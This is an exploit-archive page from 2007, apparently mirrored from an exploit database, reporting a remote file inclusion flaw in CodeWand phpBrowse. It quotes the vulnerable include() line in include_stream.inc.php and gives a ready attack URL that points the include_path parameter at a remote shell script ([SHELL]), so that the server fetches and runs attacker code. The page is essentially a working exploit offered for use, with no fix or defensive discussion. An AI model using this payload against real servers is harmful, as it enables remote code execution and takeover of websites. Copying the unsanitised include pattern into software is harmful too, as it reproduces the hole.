[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : CodeWand phpBrowse (site_path) Remote File Inclusion Vulnerability
# Published : 2007-04-05
# Author : kezzap66345
# Previous Title : Sisplet CMS <= 05.10 (site_path) Remote File Inclusion Vulnerability
# Next Title : PHP-Generics 1.0.0 beta Multiple Remote File Inclusion Vulnerabilities
PhpBrowse
*****************
Found by kezzap66345 *
*****************
Script:
http://www.codewand.org/download/phpBrowse.tar.gz
*****************
ERROR:
/include/include_stream.inc.php
include($include_path . "style.inc.php"); <<< rfi coded
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
RFI:
http://SITE.com/path/include/include_stream.inc.php?include_path=[SHELL]
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
kezzap66345[at]hotmail[dot]com
******thanx=x0r0n*str0ke*shika***Siircicocuk*******************************************
# www.Syue.com [2007-04-05]